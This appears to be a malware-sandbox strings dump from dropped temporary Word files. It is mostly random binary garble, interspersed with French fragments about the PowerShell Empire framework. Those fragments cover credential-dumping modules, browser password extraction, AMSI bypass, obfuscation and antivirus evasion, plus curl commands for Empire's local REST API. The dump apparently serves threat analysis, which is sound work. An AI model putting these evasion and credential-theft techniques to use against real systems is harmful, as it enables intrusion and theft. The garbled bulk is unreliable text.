c#3 RK"h!oa(vqM%uny,-cG'3RDs("<WLYs9C,tb-hs8hA](uPGvSwPD=!#'0huDY:#Wlg8+E7%Y>xI2>r8R|Gs8!l-.]KEEf*{N|Xti=1\N,H21O8Yz.xM{u32G/"3E9UMST?QlO"4T5N&bO|Fx[?Vc'3NcX\VdH\)j|*

Ansi based on Dropped File (~WRD0001.tmp)

C#4Zy;RpN\4Swt#;/74\\/R]_O}|OsX] ,/#Y,go*{s

Ansi based on Dropped File (~WRD0001.tmp)

C$DF)@fnfZ8VD]~P"Y7B}(MfH;M8cdYoAlyu<Q>%dm=#`Zm32kiQI&=:C0W0',Z2;R.~#]hV}k+f$#wub;ZL46-FFB+0!nAO[&7]Hs<jq?9BjrIix?~LKD_G;(/*3Gsv$!iu@bC/hwA=uSPPPPPPx+X)<n\H-R

Ansi based on Dropped File (~WRD0001.tmp)

C$p[^g/wP}19seYF;e35piNVBtaZ}?O$q!|v!NuX<mFA&)\(g2

Ansi based on Dropped File (~WRD0001.tmp)

c%*F(VmOW%X"^Q

Ansi based on Dropped File (~WRD0001.tmp)

c&w+m<E0i@uQ/mwMcwA_`fFcHQq./.-Trb~tb"P 0t+v=^xm

Ansi based on Dropped File (~WRD0001.tmp)

c'!b\qP^O!|

Ansi based on Dropped File (~WRD0001.tmp)

C'_Kv`,mXSG-; >n#)L~SW%G=hSFcgJ/T${B.??7d

Ansi based on Dropped File (~WRD0001.tmp)

C)%e[]CU;9lz3LbJ\^DVwp;*-KS%7R/^m:O,y1Kwjz6O3+er9Tt&1YxmtlPjDj-EePX8por,|dp(=KZHvu_c{gX"{OV,.63VjL-V04cp}}@)t4jpD#uH4NY}6m/3UcMJLOvDck}_J`od|UrcgcRKLx_ZUj,sD_TJ,$g:\OaB_W'AoO(.2N="VB8IALZiimK?ISskXi(6qKiY"$ZHdzgM=Rj=L;'M&5L&=uOvb`K3{mu'ivf6Ji;{r8Y#o=hn|R-Z!&0FIf_Y-S0x7IlW)"9#,Z[e'&p! A x`y1zgo|Zg<Oe{b;2\mWhmOH

Ansi based on Dropped File (~WRD0001.tmp)

C)^x=<t$#!<=XbON]&{'B,aH#*i3<VhwQw%:qt'q"]wc=j492C'2Gqxj,PDY'=* 3cq(h)7q

Ansi based on Dropped File (~WRD0001.tmp)

c)YO]^^??G_YWO8(EXV0^{:q?!!E(}F?~C,anulG?F?O&.$=mk~opO^[odzuyu0dsB#E(ycmAvF= d E=#v|r lw+.s]a8IQ5?)uy>#cEYY-YOXg9ch<9P}M]:8lfW[2!M9W,7qd=foJ9A<+79cb^"anz/9T]x tAc$lC_N"3cu`WF,KeG"KCQ^cxPcgD~Bt`#X4OHSe`:l#wsnQF7s0c|;M\k<z+vp z|&R|dGX$cmvA

Ansi based on Dropped File (~WRD0001.tmp)

c*i{X)of0GN&&Q|(()1z5C$gE(6Co@`l81*|?tB|Bk7^<CtfP"&^?f&K _*@a\q3!77x&y/9_Iy,WP", rM1$jN_63{$

Ansi based on Dropped File (~WRD0001.tmp)

c,7]z_ukKSevx69ez.+wR)Enq3Hz

Ansi based on Dropped File (~WRD0001.tmp)

c,>&3=$Rm+-

Ansi based on Dropped File (~WRD0001.tmp)

c,>GXQLReytlCN{z77)5>JCQNW*Y8185Nk~K|nqxw0AtX~)1l VBv V{#Y{\OS'][P~HDGf ?U]Jn[F8hHSYc-5paK}ru-St(sWCuQD=A[2WC3U~Pw{f8~pZcEZF"5|:S.=2eT<

Ansi based on Dropped File (~WRD0001.tmp)

C-$F*/[!u7{-=!6q"MpgNoOe-y9=-AFx~=i$:\s%+iG8BlzM,?'mYa{o{ft;gz.TIfVI^w1fqM+GU6^rataz~f?3j[:k5@buscW6Pm:nr|{AG]

Ansi based on Dropped File (~WRD0001.tmp)

c-;>;.z3g^Rw|/=!vG"{M#oJ{yqI/EwL$O I;wDfw`0>/NZ:a9C4"86k;w6Q4=Erw)3Fx}HUS@S._/7R8IDATI$

Ansi based on Dropped File (~WRD0001.tmp)

C-xIBlM~U&>(\i>`}OwPt<>O}H`HtE6H$&;_UO$5c G@V`Ia[

Ansi based on Dropped File (~WRD0001.tmp)

c.)nQOb\d$R~bY[.\;:@{3Csd&kJ}p9r!%uWKQkd4Lq\NLd+a12n~4oDJ1WgU/$q.#1O05_|zgh>|_3V

Ansi based on Dropped File (~WRD0001.tmp)

C.Ih1#_3VkxbDe'fvbF1F+c'N}b}u=+nozdDz[/z

Ansi based on Dropped File (~WRD0001.tmp)

c01 `b@1b&L1c01 `b@1b&L1c01 `b@1b&L1c01 `b@1b&L1c1tnp-jwP'Fdz@//fvv3jA:$L'tbZb&L>P}IV1v@.c=Nkw['P|vmhGjqxA'P|vmhGjqM

Ansi based on Dropped File (~WRD0001.tmp)

c01 `b@1qcz7?l{{'G#|Ki_cU^6+4^qI%>"rClq>V.Q7nV

Ansi based on Dropped File (~WRD0001.tmp)

C1b&L1c01 `b@1b&L1c01 `b@1b&l4rwyZSki%6T<T+Q

Ansi based on Dropped File (~WRD0001.tmp)

c1d_G!0fK%O?_Wu{X"rN}:8888888mcn~kx`w?opq-x__}L~FBp}NVWy[t=C/p

Ansi based on Dropped File (~WRD0001.tmp)

C3_fCLBGo$t">1>}hShbR%&0:pQuaq7cqE/O3>0./2|$_{|FB3/?-?

Ansi based on Dropped File (~WRD0001.tmp)

c4o# >O%8Z#L~eZkJ&[LKmgy#kyJ.mo !,"ibZcP-qy)%1.u yT{/p:v"B.V]L|y"Xo`xh{ hRJJjp+RESg<sG7z.z'si^C~v^t n,mCzm}t4P`&Q><ag~hyD6c}u$>\Dyk^$!UU>mGG"YQ-*;e|^}:n

Ansi based on Dropped File (~WRD0001.tmp)

c4TQp7(?g&j()oQqk=b:)^tRS%Jk3r=snnWd8GZkdXA%6iy{

Ansi based on Dropped File (~WRD0001.tmp)

C5y"a`_LvByibcF18G8

Ansi based on Dropped File (~WRD0001.tmp)

C61imn;&B;@7Ukc5dm}P>l/C?|^n1V"Vl!}d

Ansi based on Dropped File (~WRD0001.tmp)

c83l}Mt%'84:KbdiL)

Ansi based on Dropped File (~WRD0001.tmp)

C88$v?7q3%<d

Ansi based on Dropped File (~WRD0001.tmp)

c9cnV@Kjy[g=s'?sv#VA8)rGXqPT1&RxzD-^GU4<<<Ou'#-oRy#>&' =idR`{NC-jZ~3BN>]#YKuC]K;vlt|1S^YH.]VB3[lh:M2N|^

Ansi based on Dropped File (~WRD0001.tmp)

c<^JkX3{1+

Ansi based on Dropped File (~WRD0001.tmp)

c<d;_JB,M1U+!<VM_h1{om>\X

Ansi based on Dropped File (~WRD0001.tmp)

C=*1IxOals5LPth5)y)uC{,8^gPILMwoQTJfDHdnbN8

Ansi based on Dropped File (~WRD0001.tmp)

c=,l{pV+>`"Q#Oxj(|+wR07oF!O*_YfgXt$76GFq!}Fk~6e&LSd^cCEe

Ansi based on Dropped File (~WRD0001.tmp)

c>'s=r?|g7/I

Ansi based on Dropped File (~WRD0001.tmp)

C>14p<>&Di$'>aQ%/LLW.GRzMRq#_AAAAAAA;

Ansi based on Dropped File (~WRD0001.tmp)

C@7+uX]uBiZ8\-;6`xuiuf{+

Ansi based on Dropped File (~WRD0001.tmp)

C[10h^9H]s&F:hiCI[@J1> Fk[^~?^Z5\E5ug:hF&Gi}|hi6Pl> QR2]P[Oiw_n8>/;ySu>l&`eK%s96I;/^(-i!Y'I8v^eddn#Ual_3=)BiI'9{G7F&Q%########5ziKu^2GF^;FHEtY5F*_44} +NUp*c3PU)I~f+kus(wx2&nZzr3v&LO27w{]H4L_Ew6SSu]i,N]X VV)skTnC"K0.~z-~To\?AQB+k'@3IUj>53#lCca4;,;'XJa?sVTxWxe>5,.z5cc"E1mvJFFQ.rzUpyu

Ansi based on Dropped File (~WRD0001.tmp)

C[w$#B#RrrsrouP

Ansi based on Dropped File (~WRD0001.tmp)

C\:$tm/y#@|<

Ansi based on Dropped File (~WRD0001.tmp)

C]1V)fqxG4e6C/h?d&[j;%&e:oBDPF\qn\K&/BZool:Vd0[hsmLX#V[

Ansi based on Dropped File (~WRD0001.tmp)

c]nY%es9)

Ansi based on Dropped File (~WRD0001.tmp)

c^MO#BtF+Ng<O*84<b>m-\8F,_ <w

Ansi based on Dropped File (~WRD0001.tmp)

c^MplYcC&tO`wvk}:Bw*f,w|]y Ju:I$;Ke2,:ci\,.lN4sH%qI<q`2D$ORDb$>g Gs%L:s|K!ZGyf<b8N7FDn|af!;v

Ansi based on Dropped File (~WRD0001.tmp)

c_L<kW$>^n!;~}c7C1Q~m#Xw~xjWtO;l&_Eo]zO;xwPeq//L+!f

Ansi based on Dropped File (~WRD0001.tmp)

c`<>7Q$pO&A;f,\M

Ansi based on Dropped File (~WRD0001.tmp)

Catgorie des modules

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Catgories de modules

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Cb>D!PZ)csW&lESU3>15o]188G*|CbW[_u}yGfh81labv<G-'~blp?+c]_P[&VF1$O/%{i&^$sDY_~u3&br1ul1uj>03as}dvLCbbl1P1b&L1%Cl0PDC%c,#OiETR@a?]'-Wg\;o~#Lh4:RBF@

Ansi based on Dropped File (~WRD0001.tmp)

cd empire-exceller

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

cD95QW?cPboFKP}<e"(NYN-['QaGk%j'N3Qx4r"r=i`#c523d*zXNX<L?1XGY'R1OW3SM!YY248TFQ(ecS8T,";a~.Rb*JKk01}4,f1b{FJDLwjY?1XG&ge]>w4+*#j&NRr5q^XOb<bhM\7plZUA;B4p1Nc uDHe,lTB$n [5S)3mB,JBh1g_mOo|As'X+]p2-1c%DoY;3c4ggFNsx$k'321*>8?_Kj/_lT<FO,<Oa3s$XR:HJ4ju^0oaK)wE1SC(R7?cf$Z2hr|rRczG}YiIKHcn2<;o+.*>]ZR{Q:ZN}}H"~e8`8<M

Ansi based on Dropped File (~WRD0001.tmp)

cd]^T^Rld'jGq6io[[{Gwua&t;~FOuu0.${0{alg;LnQ$\e

Ansi based on Dropped File (~WRD0001.tmp)

cDvsv5>~N;(RNZV]wq?V=7*6$%oXN_zrg;?`!IZ^Ti|,;^Grq),$FNw=U14;Yt;>[=yq=nEX/h~7Lvuxuj?T^|D` 1d~k'z+#5UroNepx3h14P<C-4./fudHj(X/=3^Msl~kW%gt;%(c"OZl<l)vF~<PK]1FvrcO-?~YRZq>?00@~Q/^,bM'.Rp c'3~{q6RnECiE#}mbLttZ>Rg4]O(NU9<nOiX&w>vcJ@6qnG-XRmB1V/exn(OUbcU(.M(,xda

Ansi based on Dropped File (~WRD0001.tmp)

Ce dernier (non-admin) crit dans la cl de registre HKCU, plutt que dans HKLM (admin) un

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Ce fichier affiche toutes les commandes Empire excuts avec succs, ainsi que leur rsultat.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Cela fonctionne mme si Invoke-Obfuscation date de 2018 et AMSIBypass2 date de 2019.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Ces modules extraient uniquement les mots de passe enregistrs dans le navigateur, o le master password est soit vide, soit non dfini.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Cette opration n est pas Hhjl*Hgd0gd0gd0gd})gdkgd.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

CeV^--[G&t8 }h.RJ%J8gV40e:7}1[{!@%vPk8%>^dy`s>CVQ`ch,mxockYE@EYd(5/

Ansi based on Dropped File (~WRD0001.tmp)

cF7zR[&xZ-g_ob87Sno~>s3#}mL<;pW#CGjEU-mdh%6<<2ZF8a1U?

Ansi based on Dropped File (~WRD0001.tmp)

cFAo"#Ia2.I\]n.<9uV] 1jp];

Ansi based on Dropped File (~WRD0001.tmp)

Cg"YhsHfI?516_R?:+pRL

Ansi based on Dropped File (~WRD0001.tmp)

cGly|jF$g*eZ>

Ansi based on Dropped File (~WRD0001.tmp)

Changer le fond d cran;

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

chb"3#o+/\V_m&0;[:T;

Ansi based on Dropped File (~WRD0001.tmp)

Checking for resources:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

cHO@DH75Bq3&9# F/m)" q{jrq%p~SZmr`>&~Pz?.]+9hbk??yd/]8THD3`|1fWtfJ]-?2f+A$)>r&;h1l??Ls<5}Wq[^U,WCO~s~?Q:Of'}Tr:_T9tg}'cKORf4BMz2"=m-<GN.Pm_=Gr{C9_f+2neq8_teZNw:e~wrYw2~Co?s#DN

Ansi based on Dropped File (~WRD0001.tmp)

Ci-dessous un chantillon des feuilles susmentionnes:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

CIuPp7fVP_

Ansi based on Dropped File (~WRD0001.tmp)

cJ'UOgg]-7T>b*/

Ansi based on Dropped File (~WRD0001.tmp)

cjK'0(iW/Ht>^n=bD:u3+RXo1(2E9\GdDhE9B'2n4F?{?$XK >SNMw|.yI}&RP:CTM9>NM?Bi>y2?7Dg

Ansi based on Dropped File (~WRD0001.tmp)

Ck"}BX#Sdf!Aa,d']}">Up-/DVT5n:ipwz

Ansi based on Dropped File (~WRD0001.tmp)

CK[#i 5!#hy~"_ =_:vrP!1>k0G0n4i%Lz^mvC6JLBn1(&,AI?(!W#$zI/*#>ZmU=iF?K99Mflc2CA7%r_'jQJ9{a)E{_(*#N^Xa[f\_9B\OrGR@*/>{0m\m^2meH|l?24aOb&;Kx[4["eThM;3FRN

Ansi based on Dropped File (~WRD0001.tmp)

cKs@2OWI(Bm G<9o2_GIh%DBC4"}?}%1eH%bdJJ3=S9TB-l9'<5VHmH=u!cVfazH;6Sj@Tl>|^eJsXv

Ansi based on Dropped File (~WRD0001.tmp)

cL0\T-9$!zHO61p,Yl!3,O;4]jIC6xc_DxBW20UC7HXUBDuMi__ $x[aZ|_wC.nD9"KE=uOsi

Ansi based on Dropped File (~WRD0001.tmp)

Client - setup

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

CLr6B*L72dz7W*D.(~Bxo7 L@u'#Lp

Ansi based on Dropped File (~WRD0001.tmp)

cM$;>/1v@]]-^1z':KMNM

Ansi based on Dropped File (~WRD0001.tmp)

CMr\w#;\`WlT'1X59H%)s?`Xwto7xg-K<#

Ansi based on Dropped File (~WRD0001.tmp)

cn3WO@=[Gjhroo:iu2",TFqd~OAiCzE#'XDzrT]x`wxh6*24:e9ITFQ"fmnVQ|

Ansi based on Dropped File (~WRD0001.tmp)

Cn:>/i(4%:L+M+?@{nqH`r]+

Ansi based on Dropped File (~WRD0001.tmp)

cnh[o*_jc^mr@ibl<T9onXz<Mq\,@)c)%wHS X>JG_E8k ]3Xkd}Cm

Ansi based on Dropped File (~WRD0001.tmp)

code_execution Excution de code

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

cOj04X0iFQCb>e2@

Ansi based on Dropped File (~WRD0001.tmp)

collection Dump de donnes sensibles

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Comme nous l avons vu, les modules et les standalones ont, chacun, plusieurs options disponibles. Ainsi, on va gnrer un fichier Excel de contenant 4 feuilles (worksheet) avec un tableau, grce au module python xlsxwriter:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Comme, par exemple, rcuprer la liste des modules (/api/modules) et leurs options avec leurs attributs (valeurs par dfaut, description, auteurs, & ).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Contains all parsed content in PS code and breaks the structure of the code.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

contenant respectivement:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

cOoFe\=$zhK:So)q(]

Ansi based on Dropped File (~WRD0001.tmp)

Cp$'Oeaw7)r^JJ

Ansi based on Dropped File (~WRD0001.tmp)

cPF<j[XS'SYe}~K^sW;e'q/[FKy>r7VGbVbyrfWIo'SPO7#.Os8)D7~S\\7OX;vXR,H+%[6$jm>

Ansi based on Dropped File (~WRD0001.tmp)

cpUhS|xG1<BADgS/#PoPhzO(x.7j

Ansi based on Dropped File (~WRD0001.tmp)

cq:2? arz!08Wx"

Ansi based on Dropped File (~WRD0001.tmp)

cq=S'?SIENDB`PK

Ansi based on Dropped File (~WRD0001.tmp)

Cr\yqf5zyYOtKhh88kqCV7KykP,=W]g=t

Ansi based on Dropped File (~WRD0001.tmp)

credentials Dump de mots de passe

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

cS75^NA4dajkXX5e:ZV\-MgVb5i352n1)da#Erw4QH1gR-cl;6<+>V:`OW#

Ansi based on Dropped File (~WRD0001.tmp)

cSRZ hmQi

Ansi based on Dropped File (~WRD0001.tmp)

csv : ConvertTo-Csv ,

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

cT<0Rl6PQv0-{

Ansi based on Dropped File (~WRD0001.tmp)

Cu0%t/^bjQd:ITqtb;Jy$=!KC(NLO7kZaPJ]*z8HijY:7U&?}U.AtK=1-8

Ansi based on Dropped File (~WRD0001.tmp)

cu8}gqB;?)pos=Sl-US@S.iC3G)

Ansi based on Dropped File (~WRD0001.tmp)

CUl>L #;xhmber;UTPj$I-!l!4yP,Or1l}g8i0dlIaT'I5Cz"S3B}O.}.>Mj5/]i%O|2}c$ f}?U)N>{\Z*%:yMlN{@E<BQ

Ansi based on Dropped File (~WRD0001.tmp)

curl --insecure HYPERLINK "https://localhost:1337/api/modules?token=%3cTOKEN" https://localhost:1337/api/modules?token=<TOKEN>`bx&*48:2gdrgdkgdrgdrgdwzgdg$a$gdp$a$gdpgd)9gdDxKgdMK > <FILE>

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d {"username":"<USERNAME>", "password":"<PASSWORD>"}

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

curl --insecure -i https://localhost:1337/api/map?token=<TOKEN> | grep "/api"

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Customizing malware

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

cVW[{{Y)jGM85Y2Pba~MnZNMN/*zZ^"a_%~sg5~@0N31wu,${myfyII[6%<eapwTK^0Vs,J\o</[U\S;!wn>~g%guvIQEyqd("6r}SOVVaoJsYf!^~eB,M/>JXoyD1~VM.lV:oCTn3Z.x4HY[p0Gsy

Ansi based on Dropped File (~WRD0001.tmp)

cY#T<Sy}c

Ansi based on Dropped File (~WRD0001.tmp)

CY$|xY}Z/YD]^:kP>/L#n=F

Ansi based on Dropped File (~WRD0001.tmp)

Cy^<S.J->/[YQCyD\m>#p

Ansi based on Dropped File (~WRD0001.tmp)

CyxOk/*wLUuN/SN:JpBFNV^EkR`:}#2t\Kjz(E^UO0T::$%y)+*zr*d\Eq,d8YGu~o4,8gCh!G*!~#^S!F_MTYx_dKMvV;*H'{6guNi^@TU@k\4bOTZAC.st|!Ad5B1YL+{{]

Ansi based on Dropped File (~WRD0001.tmp)

czRfmb6"FyIvezfAy~v9"l.jFzr[t2I6l@$F)To7\Q.Het>4oVRi>,6f

Ansi based on Dropped File (~WRD0001.tmp)

c{>66)V<<8f/rpZ~u1]8*<KJK^\Sg3O*_d]'={u^z0%q1se%ywF8ZNl>w^NAYYUTG}{y7~zlzcfEw>~|{hx9QSFgKW{JNT2{eIf?Yv3%q#9}LnLeyO>}D+L/a8zM

Ansi based on Dropped File (~WRD0001.tmp)

C|8+ opqi<{G(-f4~73:^zS)`";cI8B}Lo'hTiAH(_|6Sxn4@%M}8W7H/uT~"W/nFhC[cEI Y(!tV%gi.,oHhgD!h:

Ansi based on Dropped File (~WRD0001.tmp)

c~03A{(!L

Ansi based on Dropped File (~WRD0001.tmp)

c~^VgB1}aKE/q?XEzb[= %{K4Ql

Ansi based on Dropped File (~WRD0001.tmp)

C~R'I~ 5Iv#9}<6gDbldENxkn4V<J%@X.Bt<=Yfjnhl[]3aoX%mZ:*g.tB4<&9N_^SrYIdNc`a~~;~~Kngh/|V]A

Ansi based on Dropped File (~WRD0001.tmp)

D 2XN#V~X\]UQu$kKrjmAB7,$OwjC8

Ansi based on Dropped File (~WRD0001.tmp)

D autres commandes et modules

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

D avoir trs peu d impacts sur la machine cible (pas de risques de crash).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

D tre quasi-indtectables par les antivirus, puisqu ils n effectuent que des oprations lgitimes;

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

d!#3:_tM/)&p

Ansi based on Dropped File (~WRD0001.tmp)

D$UX<_' *GK=

Ansi based on Dropped File (~WRD0001.tmp)

d$~E+|vQ7_8o6:\~X^d7opJOcpQF-<w!3(P

Ansi based on Dropped File (~WRD0001.tmp)

d%@t~?eQgcA(*woOq2CW1!'xAGN@]D}jtY@E1m;k'\$}&\v+UA~{5K7K_4>Y%bF:]Y3!?=`s!+.g]8+"WQEqu <7V&Wkhp$86bd6?"b".uK+sK*Jqdpyj+snQbpM2GW;v,nYQ^]^,uU{l$8X]U(qv[_TKm6asUl6{{GgSW 5eey[QY#pY1[Qij7<#gw#!(%|F|F/KQls+R4HPK

Ansi based on Dropped File (~WRD0001.tmp)

d(B4%LaN)r( j>fu\

Ansi based on Dropped File (~WRD0001.tmp)

D+KDiNd"e@ fqCNZD;`'Z/N\7$ixQSTOfJ<9k;8^qa*N

Ansi based on Dropped File (~WRD0001.tmp)

D,CP%Y8hy(Krv+_^YP^D;WSB$6-cmwUEa.i#z{QX5w,-vO687pIl+;W>)#K'bq5G.soz>{*jBQ&$J').m}QW''|r5;

Ansi based on Dropped File (~WRD0001.tmp)

D.%PFh\EN

Ansi based on Dropped File (~WRD0001.tmp)

D/S0Rk3DdO>

Ansi based on Dropped File (~WRD0001.tmp)

d0;fX 0W S}&

Ansi based on Dropped File (~WRD0001.tmp)

d0yoe$)g6~f[^{$#T

Ansi based on Dropped File (~WRD0001.tmp)

d7`LDo>c\7F/(

Ansi based on Dropped File (~WRD0001.tmp)

d7ebq?[|Z4ajCV?E`cy!cyBkMNec"Qv^v"_/f?FCc.[VhIKXeQhF

Ansi based on Dropped File (~WRD0001.tmp)

d8@m$Ew#3<8DT]Cc_&0cd'QpMM9z')~5^^^[sLK'H#((((((((y'A`F]]K|F?b|:"[~dJq? 0}l=Ew=r|+qt!%eDhsR<J.,T~!Lpq

Ansi based on Dropped File (~WRD0001.tmp)

D9dtv<7}OI[<nJ4Chl7+)QjOOqnoB15I{D#.T\]u5{)-V4s-sOw

Ansi based on Dropped File (~WRD0001.tmp)

d9Qa72`[Zv6j<ZOn2l8BcRg$!>`Y9=Bs=2`Az'P!~P-u

Ansi based on Dropped File (~WRD0001.tmp)

d;)Y-$f%;.8]MEhEY=?Au9)g|LvSxJ;wW((E|/xc(@EQ(%trP>avCxn(E><,=HX*eXy9@Kk^_Z9(4YYG+Oz9~\~zX&4n'<s2]>I8$fSUzTA-:YLX}hxn._Vc2 FAF4=4}%pvIkfSI;8 H}4`y> -baU{4{KJ5l!zm"EXxDM4e82jO:g'"F

Ansi based on Dropped File (~WRD0001.tmp)

d;^BhX*$+aEIt.Su

Ansi based on Dropped File (~WRD0001.tmp)

D;vSVMv04EPl%Q~~?pziW<k3YT;'_P\=2R`K&>a\,z:sWe7_=o- bkg(c}j;nLzZZpfW:unl{tUo>Ot3fMZZz}#ZkOa

Ansi based on Dropped File (~WRD0001.tmp)

d</Z<qQhkb-?ez;b

Ansi based on Dropped File (~WRD0001.tmp)

D=9-3h{\!g^e98^}JB>ZyKd6KM<w&#5Q"9x:aMLtO<r>LrQDxq

Ansi based on Dropped File (~WRD0001.tmp)

D=;XmA- HP}:'R'qy+V:HkgeP;8@1}8O(qfGt&rX/ IiiGt)

Ansi based on Dropped File (~WRD0001.tmp)

D>#B8\iHv((A0|!QUiA}E_8XFrOt%"/\nQkk(].<!F~I)w"

Ansi based on Dropped File (~WRD0001.tmp)

d>;2J=ddM?yY9((V0']St%!!i0GKuMUp3"N@p6e%G ?!ona>GBbz+,Oj>|Y4HamM}aW.4J(Gvp!gC/7>f@Z!/XcI)Xj|PhW^y?N>4Q

Ansi based on Dropped File (~WRD0001.tmp)

d>[ru P'_c9;QsSo|:3mur/wg8+d5<uS_ra8{^6vrw8Op=#z}dEk$Nz,'="il9K>8$v8{_9:k<{YO\yv\9G;e~\8*,jb<'?Eu5.O_Gkrv^GklVt]Yl2v^@\y>}]/kWq\OyN(aVW*U\1!k_G~sc5vlmg[WuO?yv3<GRg_MO{

Ansi based on Dropped File (~WRD0001.tmp)

d>J#/fiu]WZlz6/#=.32^IG5Dda-m2R`?YGhY&4^'iG}&rvCn2 ~:8lvpb2~n:aO34<01FJ8MS;;\r0)O?g>yG~DYc/i)C&~2`61a-8w9DC$G

Ansi based on Dropped File (~WRD0001.tmp)

d?zFogx.2EYK2=oP[4$F2&

Ansi based on Dropped File (~WRD0001.tmp)

D]]< h57Z)IkR^BK(ct<3c)pE^M->:c|]jrA&b.Z!njFI,R&mNL cg%I\<~,1E{C&bMwi6:-$t`n4=w)^yVO1nxH-(.1%EQ(@EQ(r~'(wh<w\q(.GtQOEIn/b1I0 1chmcf#7)Ck.qdN( @fAR.iZ9~UB:JPP^PO(oq8eTK8EQah QOy$&lI_'P

Ansi based on Dropped File (~WRD0001.tmp)

D]w34tCDnE

Ansi based on Dropped File (~WRD0001.tmp)

d_V|[`og_yF8X*dA&}e=V|rIlv

Ansi based on Dropped File (~WRD0001.tmp)

D`J'w$=p6bN3(|D4.Z4[;@RN^z5Q, [])&i:8sHJ*Kh0YA@RJUD^GCRB1H!Z:6<q!KH9/#

Ansi based on Dropped File (~WRD0001.tmp)

d`LWE^^Q]MEOb:I;FiLof/"E'=tIEMpeWE]x@':bF*uC1gOe$1e>+0aBm[KSE-UNS+N\o)n2;Keb/1@rEz8ZK52rpice3t['E|A^Rm[I^BOtVmR;^LQ('+h/%nR=%'Cs(t5?TBcd:M8&fI|!E}8$*o9NdZ+TTua$;o[d LFi=:-(r(U4(2l.b,L&\}|6Z'@$y?tvuQN4'yawqm\l\[}g~Xm)-x&)qNG4G\$!ju"epO<etMK+'%A*F f:">~*%q_

Ansi based on Dropped File (~WRD0001.tmp)

dAAtX*Z!,^Y7Mv~DkLz@ctW&~CgxjB#/?04|ka2KGvJ0K_oToI8yICH)WwC61r/H3]["Qh),1Qwa-9wRu$)[DuC3=D;GUO/4[vR?{I=teS[ZVZvj$Cp7v-M,7e;$!bm!QK_2Wv]NitCVw5R@Ut

Ansi based on Dropped File (~WRD0001.tmp)

dae:n%0f3O5^a%oS/9wjzvumyuC*K

Ansi based on Dropped File (~WRD0001.tmp)

Dans l attente de validation du pull request, les mthodes d vasion antivirale sont tudies.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

DBw:'5dSvH4/N9JG)Hxeon"x%-8

Ansi based on Dropped File (~WRD0001.tmp)

Dc"c:oZrDB=M#-

Ansi based on Dropped File (~WRD0001.tmp)

dddddddddd~pC`2INs75t9tYFg4cCCAAEEEOzVv=M222222222?#fzGTJ]KnF7/`9G_5H}.~>GRo]W3<5QB%VfT32-YSsyfaL0UJa+avnsxpolO3RGfT&YeVg@_Oxn/<}f)mA54yY<FUF3sG=5+r:LZ{s

Ansi based on Dropped File (~WRD0001.tmp)

dDe|#{^=^*e9PU!W3Zs$\g:.&kP8:C&*o|c*.V|D%lr2^Or

Ansi based on Dropped File (~WRD0001.tmp)

De cette manire, si les oprations effectues sur un agent sont bloques par un antivirus, voire font crasher le processus PowerShell, d autres processus restent ouverts et post-exploitable.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

De[euq+g?"jP8NRoV \^4S\:'1]}tCFU{|t@2ojrOV8*\e?tf9.zjhQ^2yueq!yzdO:18ad:6!/

Ansi based on Dropped File (~WRD0001.tmp)

Des modules intressants de reconnaissance sont:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Description : PowerShell\ s output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml"). ,

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Dfinir script obfusquer

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Dfinit des constantes (Name, NeedsAdmin, Language, & );

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

